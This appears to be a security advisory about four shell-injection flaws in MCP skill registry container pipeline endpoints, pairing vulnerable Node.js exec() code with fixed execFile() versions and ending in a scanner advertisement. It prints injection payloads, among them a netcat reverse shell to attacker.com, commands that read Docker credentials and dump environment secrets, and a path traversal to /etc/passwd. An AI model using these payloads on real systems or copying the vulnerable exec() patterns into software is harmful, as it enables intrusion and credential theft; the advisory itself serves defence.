Claude MCP skill code injection — skill container image build and publishing pipeline endpoints — SA-SKL-INJECTION52
SA-SKL-INJECTION52 documents four code injection vulnerabilities in MCP skill registry container image build and publishing pipeline endpoints. Container image workflows require invoking external tools — docker, skopeo, crane — with arguments derived from user-supplied skill package metadata. When these invocations use exec() with template-literal string interpolation rather than execFile() with separate argument arrays, every user-supplied argument becomes a shell injection point. INJECTION52-001 identifies Docker registry credential exfiltration via semicolon injection into the image tag argument of docker build; INJECTION52-002 identifies reverse shell establishment via semicolon injection into docker push; INJECTION52-003 identifies environment variable exfiltration via injection into skopeo copy; INJECTION52-004 identifies argument injection via space-separated flag smuggling into crane push combined with path traversal in the tarFile argument.
exec(`docker build -t ${imageTag} --file ${dockerfile} ${contextDir}`) — attacker imageTag with ; cat /root/.docker/config.json exfiltrates Docker registry credentials including access tokens for all configured registries; fix: execFile() array; validate imageTag against /^[a-z0-9.\-\/]+:[a-zA-Z0-9.\-_]{1,128}$/; realpathSync containment for dockerfile and contextDirexec(`docker push ${imageRef}`) — attacker imageRef with ; nc attacker.com 4444 -e /bin/sh establishes reverse shell; fix: execFile() array; validate imageRef against digest-pinned pattern /^[a-z0-9.\-\/]+@sha256:[a-f0-9]{64}$/exec(`skopeo copy ${sourceImage} ${destImage}`) — attacker sourceImage with ; printenv exfiltrates all env vars including REGISTRY_AUTH_TOKEN and cloud provider credentials; fix: execFile() array; validate sourceImage and destImage against allowlisted registry prefixes; realpathSync containment for local pathsexec(`crane push ${tarFile} ${imageRef}`) — attacker tarFile with space-injected --push-format=OCI overrides image format; combined with tarFile path traversal reads arbitrary files from server filesystem as image layers; fix: execFile() array; realpathSync containment for tarFile; imageRef from server-side allowlistINJECTION52-001 — Docker registry credential exfiltration via imageTag injection in docker build
Severity: CRITICAL
The container image build endpoint constructs a docker build command using template literal interpolation, placing the user-supplied imageTag value directly into the shell command string. Node.js's child_process.exec() passes the entire string to /bin/sh -c, which interprets shell metacharacters including ; as command separators. An attacker who sets imageTag to legitimate/tag:1.0; cat /root/.docker/config.json causes the shell to execute cat /root/.docker/config.json as a separate command after the docker build, with the output captured in the exec callback and potentially reflected in the API response or logs. The config.json file contains base64-encoded credentials for all configured Docker registries including access tokens for the registry used to publish skills.
// docker build — exec() with template literal interpolation of user-supplied imageTag
const { exec } = require('child_process');
router.post('/build', requireSession, async (req, res) => {
const { imageTag, dockerfile, contextDir } = req.body;
// imageTag with '; cat /root/.docker/config.json' exfiltrates registry credentials
exec(`docker build -t ${imageTag} --file ${dockerfile} ${contextDir}`,
(err, stdout, stderr) => res.json({ stdout, stderr, error: err?.message })
);
});
// docker build — execFile() array + imageTag regex + realpathSync containment
const { execFile } = require('child_process');
const path = require('path');
const IMAGE_TAG_RE = /^[a-z0-9.\-\/]+:[a-zA-Z0-9.\-_]{1,128}$/;
const BUILD_CONTEXT_ROOT = process.env.BUILD_CONTEXT_ROOT; // e.g. /srv/builds
router.post('/build', requireSession, async (req, res) => {
const { imageTag, dockerfile, contextDir } = req.body;
if (!IMAGE_TAG_RE.test(imageTag))
return res.status(400).json({ error: 'Invalid imageTag format' });
// realpathSync resolves symlinks and validates containment within BUILD_CONTEXT_ROOT
const realDockerfile = path.realpathSync(path.join(BUILD_CONTEXT_ROOT, dockerfile));
const realContextDir = path.realpathSync(path.join(BUILD_CONTEXT_ROOT, contextDir));
if (!realDockerfile.startsWith(BUILD_CONTEXT_ROOT) || !realContextDir.startsWith(BUILD_CONTEXT_ROOT))
return res.status(400).json({ error: 'Path outside allowed directory' });
execFile('docker', ['build', '-t', imageTag, '--file', realDockerfile, realContextDir],
{ timeout: 300_000 },
(err, stdout, stderr) => res.json({ success: !err, error: err ? 'Build failed' : null })
); // stdout/stderr intentionally omitted from response — may contain sensitive paths
});
INJECTION52-002 — Reverse shell via imageRef injection in docker push
Severity: CRITICAL
The container image publish endpoint constructs a docker push command using template literal interpolation of the user-supplied imageRef parameter. An attacker who sets imageRef to legitimate/image:1.0; nc attacker.com 4444 -e /bin/sh establishes a reverse shell from the registry server. The image push requires network access, and the registry server typically runs with the permissions needed to authenticate to external registries — making it a high-value pivot point for lateral movement into the registry's cloud infrastructure. Using digest-pinned references in the allowed pattern eliminates the tag-spoofing risk in addition to the injection risk.
// docker push — exec() with template literal interpolation of user-supplied imageRef
exec(`docker push ${imageRef}`, (err, stdout, stderr) => res.json({ stdout, stderr }));
// docker push — execFile() array + digest-pinned pattern validation
const DIGEST_PINNED_RE = /^[a-z0-9.\-\/]+@sha256:[a-f0-9]{64}$/;
if (!DIGEST_PINNED_RE.test(imageRef))
return res.status(400).json({ error: 'imageRef must be digest-pinned (repo@sha256:...)' });
execFile('docker', ['push', imageRef], { timeout: 300_000 },
(err) => res.json({ success: !err, error: err ? 'Push failed' : null })
);
INJECTION52-003 — Environment variable exfiltration via injection in skopeo copy
Severity: CRITICAL
The image copy endpoint uses exec() to invoke skopeo copy with user-supplied sourceImage and destImage arguments interpolated directly into the shell command string. An attacker who sets sourceImage to docker://legitimate/image:1.0; printenv causes the shell to execute printenv as a separate command. The environment of the registry server process contains REGISTRY_AUTH_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and other cloud provider credentials injected by the deployment orchestrator. These are exfiltrated via the stdout return in the API response.
// skopeo copy — exec() with interpolation of user-supplied sourceImage and destImage
exec(`skopeo copy ${sourceImage} ${destImage}`,
(err, stdout, stderr) => res.json({ stdout, stderr }));
// sourceImage: 'docker://x:1.0; printenv' exfiltrates REGISTRY_AUTH_TOKEN, AWS keys
// skopeo copy — execFile() array + registry-prefix allowlist + realpathSync for local paths
const REGISTRY_PREFIX_ALLOWLIST = process.env.REGISTRY_PREFIXES.split(',');
const isAllowedRef = (ref) => REGISTRY_PREFIX_ALLOWLIST.some(p => ref.startsWith(p));
const resolveLocalRef = (ref) => {
if (!ref.startsWith('oci:') && !ref.startsWith('dir:')) return null;
const localPath = ref.replace(/^(oci:|dir:)/, '');
const real = path.realpathSync(path.join(REGISTRY_LOCAL_ROOT, localPath));
if (!real.startsWith(REGISTRY_LOCAL_ROOT)) throw new Error('Path traversal rejected');
return ref.startsWith('oci:') ? `oci:${real}` : `dir:${real}`;
};
const resolvedSrc = isAllowedRef(sourceImage) ? sourceImage : resolveLocalRef(sourceImage);
const resolvedDest = isAllowedRef(destImage) ? destImage : resolveLocalRef(destImage);
if (!resolvedSrc || !resolvedDest) return res.status(400).json({ error: 'Image reference not in allowlist' });
execFile('skopeo', ['copy', resolvedSrc, resolvedDest], { timeout: 300_000 },
(err) => res.json({ success: !err, error: err ? 'Copy failed' : null })
);
INJECTION52-004 — Argument injection and path traversal in crane push
Severity: HIGH
The crane image push endpoint uses exec() to invoke crane push with user-supplied tarFile and imageRef arguments. Two distinct injection paths exist. First, an attacker who sets tarFile to /srv/builds/image.tar --push-format=OCI injects the --push-format=OCI flag, overriding the registry's expected image format and potentially causing incompatibility with registry validation checks that expect Docker format. Second, an attacker who sets tarFile to a path traversal sequence such as ../../etc/passwd causes crane to read /etc/passwd as a tar file — the content is then transmitted to the destination registry as an image layer, effectively exfiltrating the file contents as an image layer accessible to anyone with pull access to the destination registry.
// crane push — exec() with interpolation of user-supplied tarFile and imageRef
exec(`crane push ${tarFile} ${imageRef}`,
(err, stdout, stderr) => res.json({ stdout, stderr }));
// tarFile: '/builds/x.tar --push-format=OCI' injects flag
// tarFile: '../../etc/passwd' reads arbitrary file as image layer via crane
// crane push — execFile() array + realpathSync for tarFile + imageRef from server-side allowlist
const realTarFile = path.realpathSync(path.join(BUILD_CONTEXT_ROOT, req.body.tarFile));
if (!realTarFile.startsWith(BUILD_CONTEXT_ROOT))
return res.status(400).json({ error: 'tarFile path outside allowed directory' });
if (!realTarFile.endsWith('.tar'))
return res.status(400).json({ error: 'tarFile must be a .tar file' });
// imageRef from server-side allowlist Map keyed on client-supplied name string — never raw from client
const imageRef = IMAGE_REF_ALLOWLIST.get(req.body.imageRefName);
if (!imageRef) return res.status(400).json({ error: 'imageRefName not in allowlist' });
execFile('crane', ['push', realTarFile, imageRef], { timeout: 300_000 },
(err) => res.json({ success: !err, error: err ? 'Push failed' : null })
);
Run SkillAudit to detect exec() with template literal interpolation across docker build, docker push, skopeo copy, and crane push calls in your MCP skill registry container pipeline source code. The scanner flags both semicolon injection paths and space-injection argument smuggling patterns. Join the waitlist for access.